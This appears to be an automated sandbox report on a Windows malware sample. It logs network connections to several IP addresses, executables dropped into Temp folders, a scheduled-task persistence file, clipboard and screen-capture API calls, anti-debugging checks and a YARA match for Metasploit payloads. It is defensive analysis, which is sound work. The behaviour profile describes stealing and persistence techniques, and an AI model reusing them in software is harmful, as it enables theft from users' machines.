Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 52518 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52490
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52494
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52492
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52523 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52496
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49702
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 50049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50029
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50024
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50032
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50034
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50035
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50038
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50040
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 49917 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50042
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50044
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50047
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50046
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50049
Source: unknown	Network traffic detected: HTTP traffic on port 52490 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50051
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50044 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 52521 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50042 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52518
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52525
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49694
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49691
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52523
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52521
Source: unknown	Network traffic detected: HTTP traffic on port 50053 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49992 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49994 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 49694 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 52494 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49691 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52492 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52525 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50029 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52507 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49918
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49917
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49916
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49912
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52507
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49909
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49907
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49904
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49903
Source: unknown	Network traffic detected: HTTP traffic on port 49903 -> 443

Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.7:49781 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.7:49758 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.7:49774 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.7:49761 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.7:49775 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49767 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49794 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:49824 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.7:49848 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.7:49847 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.7:49852 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49851 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49861 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49870 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:49872 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49881 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:49883 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:49891 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:49898 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:49903 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:49904 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.7:49907 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:49912 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.7:49918 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.7:49916 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.7:49917 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.7:49992 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.7:49994 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.7:49997 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.7:50000 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.7:50009 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.7:50012 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.7:50015 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.7:50022 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.7:50024 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.7:50027 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.7:50029 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.7:50032 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:50034 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:50040 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.7:50042 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.7:50044 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.1:443 -> 192.168.2.7:50046 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.197.127.21:443 -> 192.168.2.7:50047 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.197.127.21:443 -> 192.168.2.7:50049 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.73.234.102:443 -> 192.168.2.7:50051 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.73.234.102:443 -> 192.168.2.7:50053 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.73.234.102:443 -> 192.168.2.7:50055 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.73.234.102:443 -> 192.168.2.7:50057 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:52494 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:52496 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:52507 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:52518 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:52521 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:52523 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:52525 version: TLS 1.2

Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe

Code function: 15_2_0043EF10 OpenClipboard,GetClipboardData,GlobalLock,GetWindowRect,GlobalUnlock,CloseClipboard,

15_2_0043EF10

Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe

Code function: 15_2_0043EF10 OpenClipboard,GetClipboardData,GlobalLock,GetWindowRect,GlobalUnlock,CloseClipboard,

15_2_0043EF10

Source: C:\Users\user\AppData\Local\Temp\10128860101\5a20da7e37.exe

Code function: 15_2_0043F0B0 GetDC,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,GetCurrentObject,GetObjectW,DeleteObject,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,SelectObject,DeleteDC,ReleaseDC,DeleteObject,

15_2_0043F0B0

System Summary

Malicious sample detected (through community Yara rule)

Source: 00000004.00000002.1345225664.000000000DF48000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Metasploit Payloads - file msf.war - contents Author: Florian Roth
Source: 00000004.00000002.1345225664.000000000DF9E000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Metasploit Payloads - file msf.war - contents Author: Florian Roth
Source: 00000004.00000002.1345225664.000000000E02E000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Metasploit Payloads - file msf.war - contents Author: Florian Roth

Binary is likely a compiled AutoIt script file

Source: 3353aa7d43.exe, 00000017.00000002.1621563353.0000000000B32000.00000002.00000001.01000000.00000013.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.		memstr_c8b1e769-6
Source: 3353aa7d43.exe, 00000017.00000002.1621563353.0000000000B32000.00000002.00000001.01000000.00000013.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer		memstr_c6b3b3c4-b

PE file contains section with special chars

Source: AaxpYFDQ32.exe	Static PE information: section name:
Source: AaxpYFDQ32.exe	Static PE information: section name: .idata
Source: AaxpYFDQ32.exe	Static PE information: section name:
Source: rapes.exe.0.dr	Static PE information: section name:
Source: rapes.exe.0.dr	Static PE information: section name: .idata
Source: rapes.exe.0.dr	Static PE information: section name:
Source: random[2].exe.3.dr	Static PE information: section name:
Source: random[2].exe.3.dr	Static PE information: section name: .idata
Source: random[2].exe.3.dr	Static PE information: section name:
Source: 2009d9de82.exe.3.dr	Static PE information: section name:
Source: 2009d9de82.exe.3.dr	Static PE information: section name: .idata
Source: 2009d9de82.exe.3.dr	Static PE information: section name:
Source: random[2].exe1.3.dr	Static PE information: section name:
Source: random[2].exe1.3.dr	Static PE information: section name: .idata
Source: a026d51e13.exe.3.dr	Static PE information: section name:
Source: a026d51e13.exe.3.dr	Static PE information: section name: .idata
Source: random[1].exe.3.dr	Static PE information: section name:
Source: random[1].exe.3.dr	Static PE information: section name: .idata
Source: random[1].exe.3.dr	Static PE information: section name:
Source: c2f48edf32.exe.3.dr	Static PE information: section name:
Source: c2f48edf32.exe.3.dr	Static PE information: section name: .idata
Source: c2f48edf32.exe.3.dr	Static PE information: section name:
Source: random[1].exe0.3.dr	Static PE information: section name:
Source: random[1].exe0.3.dr	Static PE information: section name: .idata
Source: random[1].exe0.3.dr	Static PE information: section name:
Source: 7f41c1bc85.exe.3.dr	Static PE information: section name:
Source: 7f41c1bc85.exe.3.dr	Static PE information: section name: .idata
Source: 7f41c1bc85.exe.3.dr	Static PE information: section name:
Source: random[1].exe2.3.dr	Static PE information: section name:
Source: random[1].exe2.3.dr	Static PE information: section name: .idata
Source: 4bcefcec83.exe.3.dr	Static PE information: section name:
Source: 4bcefcec83.exe.3.dr	Static PE information: section name: .idata

Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\AppData\Local\Temp\10128840101\c2f48edf32.exe	Code function: 4_2_053602A6 NtQueryInformationProcess,GetSystemInfo,	4_2_053602A6
Source: C:\Users\user\AppData\Local\Temp\10128840101\c2f48edf32.exe	Code function: 4_2_05360237 NtQueryInformationProcess,GetSystemInfo,	4_2_05360237
Source: C:\Users\user\AppData\Local\Temp\10128840101\c2f48edf32.exe	Code function: 4_2_0536011B NtQueryInformationProcess,GetSystemInfo,	4_2_0536011B
Source: C:\Users\user\AppData\Local\Temp\10128840101\c2f48edf32.exe	Code function: 4_2_05360207 NtQueryInformationProcess,GetSystemInfo,	4_2_05360207
Source: C:\Users\user\AppData\Local\Temp\10128840101\c2f48edf32.exe	Code function: 4_2_05360301 NtQueryInformationProcess,GetSystemInfo,	4_2_05360301
Source: C:\Users\user\AppData\Local\Temp\10128840101\c2f48edf32.exe	Code function: 4_2_0536010C NtQueryInformationProcess,GetSystemInfo,	4_2_0536010C
Source: C:\Users\user\AppData\Local\Temp\10128840101\c2f48edf32.exe	Code function: 4_2_05360161 NtQueryInformationProcess,GetSystemInfo,	4_2_05360161
Source: C:\Users\user\AppData\Local\Temp\10128840101\c2f48edf32.exe	Code function: 4_2_0536016B NtQueryInformationProcess,GetSystemInfo,	4_2_0536016B
Source: C:\Users\user\AppData\Local\Temp\10128840101\c2f48edf32.exe	Code function: 4_2_0536025F NtQueryInformationProcess,GetSystemInfo,	4_2_0536025F
Source: C:\Users\user\AppData\Local\Temp\10128840101\c2f48edf32.exe	Code function: 4_2_05360142 NtQueryInformationProcess,GetSystemInfo,	4_2_05360142
Source: C:\Users\user\AppData\Local\Temp\10128840101\c2f48edf32.exe	Code function: 4_2_0536024C NtQueryInformationProcess,GetSystemInfo,	4_2_0536024C
Source: C:\Users\user\AppData\Local\Temp\10128840101\c2f48edf32.exe	Code function: 4_2_053601BE NtQueryInformationProcess,GetSystemInfo,	4_2_053601BE
Source: C:\Users\user\AppData\Local\Temp\10128840101\c2f48edf32.exe	Code function: 4_2_053601A3 NtQueryInformationProcess,GetSystemInfo,	4_2_053601A3
Source: C:\Users\user\AppData\Local\Temp\10128840101\c2f48edf32.exe	Code function: 4_2_05360292 NtQueryInformationProcess,GetSystemInfo,	4_2_05360292
Source: C:\Users\user\AppData\Local\Temp\10128840101\c2f48edf32.exe	Code function: 4_2_053601F7 NtQueryInformationProcess,GetSystemInfo,	4_2_053601F7
Source: C:\Users\user\AppData\Local\Temp\10128840101\c2f48edf32.exe	Code function: 4_2_053602F4 NtQueryInformationProcess,GetSystemInfo,	4_2_053602F4
Source: C:\Users\user\AppData\Local\Temp\10128840101\c2f48edf32.exe	Code function: 4_2_053600FB NtQueryInformationProcess,GetSystemInfo,	4_2_053600FB
Source: C:\Users\user\AppData\Local\Temp\10128840101\c2f48edf32.exe	Code function: 4_2_053601E7 NtQueryInformationProcess,GetSystemInfo,	4_2_053601E7
Source: C:\Users\user\AppData\Local\Temp\10128840101\c2f48edf32.exe	Code function: 4_2_053602E8 NtQueryInformationProcess,GetSystemInfo,	4_2_053602E8
Source: C:\Users\user\AppData\Local\Temp\10128840101\c2f48edf32.exe	Code function: 4_2_053602CF NtQueryInformationProcess,GetSystemInfo,	4_2_053602CF

Source: C:\Users\user\Desktop\AaxpYFDQ32.exe

File created: C:\Windows\Tasks\rapes.job

Jump to behavior

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 13_2_00702C60	13_2_00702C60
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 13_2_00718A0A	13_2_00718A0A
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 13_2_0070AAC0	13_2_0070AAC0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 13_2_0070F480	13_2_0070F480
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 13_2_0071A552	13_2_0071A552
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 13_2_00714559	13_2_00714559
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 13_2_0070D53D	13_2_0070D53D
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 13_2_0071A672	13_2_0071A672
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 13_2_00713E46	13_2_00713E46
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 13_2_0070D76F	13_2_0070D76F
